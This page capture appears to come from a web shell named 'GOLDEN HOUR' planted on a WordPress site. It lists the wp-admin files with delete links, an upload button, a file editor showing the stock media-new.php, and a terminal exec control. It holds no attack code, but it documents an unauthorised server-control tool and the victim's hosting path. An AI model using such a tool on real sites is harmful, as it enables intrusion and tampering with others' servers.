GOLDEN HOUR
DIR: /home/reseprot/public_html/tokomesinjakarta.com/wp-admin
UP
UPLOAD
Name
Size
Action
about.php
22.2 KB
DEL
admin-ajax.php
4.83 KB
DEL
admin-footer.php
2.76 KB
DEL
admin-functions.php
406 B
DEL
admin-header.php
8.7 KB
DEL
admin-post.php
1.63 KB
DEL
admin.php
12.13 KB
DEL
async-upload.php
4.58 KB
DEL
authorize-application.php
9.6 KB
DEL
comment.php
11.24 KB
DEL
credits.php
3.67 KB
DEL
[ css ]
-
DEL
custom-background.php
416 B
DEL
custom-header.php
426 B
DEL
customize.php
10.46 KB
DEL
edit-comments.php
13.74 KB
DEL
edit-form-advanced.php
28.29 KB
DEL
edit-form-blocks.php
10.71 KB
DEL
edit-form-comment.php
7.97 KB
DEL
edit-link-form.php
6.15 KB
DEL
edit-tag-form.php
10.18 KB
DEL
edit-tags.php
21.69 KB
DEL
edit.php
18.79 KB
DEL
erase-personal-data.php
7.11 KB
DEL
error_log
24.36 MB
DEL
export-personal-data.php
7.08 KB
DEL
export.php
10.74 KB
DEL
freedoms.php
4.4 KB
DEL
[ images ]
-
DEL
import.php
7.38 KB
DEL
[ includes ]
-
DEL
index.php
7.63 KB
DEL
install-helper.php
5.89 KB
DEL
install.php
16.5 KB
DEL
[ js ]
-
DEL
link-add.php
742 B
DEL
link-manager.php
4.15 KB
DEL
link-parse-opml.php
2.59 KB
DEL
link.php
2.7 KB
DEL
load-scripts.php
1.66 KB
DEL
load-styles.php
2.47 KB
DEL
[ maint ]
-
DEL
media-new.php
3.17 KB
DEL
media-upload.php
3.49 KB
DEL
media.php
5.5 KB
DEL
menu-header.php
9.68 KB
DEL
menu.php
15.9 KB
DEL
[ meta ]
-
DEL
moderation.php
307 B
DEL
ms-admin.php
196 B
DEL
ms-delete-site.php
4.18 KB
DEL
ms-edit.php
216 B
DEL
ms-options.php
223 B
DEL
ms-sites.php
215 B
DEL
ms-themes.php
217 B
DEL
ms-upgrade-network.php
219 B
DEL
ms-users.php
215 B
DEL
my-sites.php
4.56 KB
DEL
nav-menus.php
45.77 KB
DEL
[ network ]
-
DEL
network.php
5.32 KB
DEL
options-discussion.php
15.14 KB
DEL
options-general.php
14.66 KB
DEL
options-head.php
492 B
DEL
options-media.php
6.18 KB
DEL
options-permalink.php
19.35 KB
DEL
options-privacy.php
9.88 KB
DEL
options-reading.php
9.66 KB
DEL
options-writing.php
8.49 KB
DEL
options.php
12.51 KB
DEL
plugin-editor.php
13.11 KB
DEL
plugin-install.php
6.76 KB
DEL
plugins.php
28.58 KB
DEL
post-new.php
2.64 KB
DEL
post.php
9.87 KB
DEL
press-this.php
2.33 KB
DEL
privacy-policy-guide.php
3.52 KB
DEL
privacy.php
2.42 KB
DEL
profile.php
283 B
DEL
revision.php
5.43 KB
DEL
setup-config.php
16.46 KB
DEL
site-editor.php
4.22 KB
DEL
site-health-info.php
3.93 KB
DEL
site-health.php
9.54 KB
DEL
term.php
2.2 KB
DEL
theme-editor.php
14.85 KB
DEL
theme-install.php
21.8 KB
DEL
themes.php
45.28 KB
DEL
tools.php
3.41 KB
DEL
update-core.php
43.72 KB
DEL
update.php
12.79 KB
DEL
upgrade-functions.php
341 B
DEL
upgrade.php
5.47 KB
DEL
upload.php
13.77 KB
DEL
[ user ]
-
DEL
user-edit.php
34.19 KB
DEL
user-new.php
23.44 KB
DEL
users.php
21.03 KB
DEL
widgets-form-blocks.php
2.39 KB
DEL
widgets-form.php
18.94 KB
DEL
widgets.php
1.09 KB
DEL
Edit: media-new.php
<?php /** * Manage media uploaded file. * * There are many filters in here for media. Plugins can extend functionality * by hooking into the filters. * * @package WordPress * @subpackage Administration */ /** Load WordPress Administration Bootstrap */ require_once __DIR__ . '/admin.php'; if ( ! current_user_can( 'upload_files' ) ) { wp_die( __( 'Sorry, you are not allowed to upload files.' ) ); } wp_enqueue_script( 'plupload-handlers' ); $post_id = 0; if ( isset( $_REQUEST['post_id'] ) ) { $post_id = absint( $_REQUEST['post_id'] ); if ( ! get_post( $post_id ) || ! current_user_can( 'edit_post', $post_id ) ) { $post_id = 0; } } if ( $_POST ) { if ( isset( $_POST['html-upload'] ) && ! empty( $_FILES ) ) { check_admin_referer( 'media-form' ); // Upload File button was clicked. $upload_id = media_handle_upload( 'async-upload', $post_id ); if ( is_wp_error( $upload_id ) ) { wp_die( $upload_id ); } } wp_redirect( admin_url( 'upload.php' ) ); exit; } // Used in the HTML title tag. $title = __( 'Upload New Media' ); $parent_file = 'upload.php'; get_current_screen()->add_help_tab( array( 'id' => 'overview', 'title' => __( 'Overview' ), 'content' => '<p>' . __( 'You can upload media files here without creating a post first. This allows you to upload files to use with posts and pages later and/or to get a web link for a particular file that you can share. There are three options for uploading files:' ) . '</p>' . '<ul>' . '<li>' . __( '<strong>Drag and drop</strong> your files into the area below. Multiple files are allowed.' ) . '</li>' . '<li>' . __( 'Clicking <strong>Select Files</strong> opens a navigation window showing you files in your operating system. Selecting <strong>Open</strong> after clicking on the file you want activates a progress bar on the uploader screen.' ) . '</li>' . '<li>' . __( 'Revert to the <strong>Browser Uploader</strong> by clicking the link below the drag and drop box.' ) . '</li>' . '</ul>', ) ); get_current_screen()->set_help_sidebar( '<p><strong>' . __( 'For more information:' ) . '</strong></p>' . '<p>' . __( '<a href="https://wordpress.org/support/article/media-add-new-screen/">Documentation on Uploading Media Files</a>' ) . '</p>' . '<p>' . __( '<a href="https://wordpress.org/support/">Support</a>' ) . '</p>' ); require_once ABSPATH . 'wp-admin/admin-header.php'; $form_class = 'media-upload-form type-form validate'; if ( get_user_setting( 'uploader' ) || isset( $_GET['browser-uploader'] ) ) { $form_class .= ' html-uploader'; } ?> <div class="wrap"> <h1><?php echo esc_html( $title ); ?></h1> <form enctype="multipart/form-data" method="post" action="<?php echo esc_url( admin_url( 'media-new.php' ) ); ?>" class="<?php echo esc_attr( $form_class ); ?>" id="file-form"> <?php media_upload_form(); ?> <script type="text/javascript"> var post_id = <?php echo absint( $post_id ); ?>, shortform = 3; </script> <input type="hidden" name="post_id" id="post_id" value="<?php echo absint( $post_id ); ?>" /> <?php wp_nonce_field( 'media-form' ); ?> <div id="media-items" class="hide-if-no-js"></div> </form> </div> <?php require_once ABSPATH . 'wp-admin/admin-footer.php';
SAVE FILE
TERMINAL
EXEC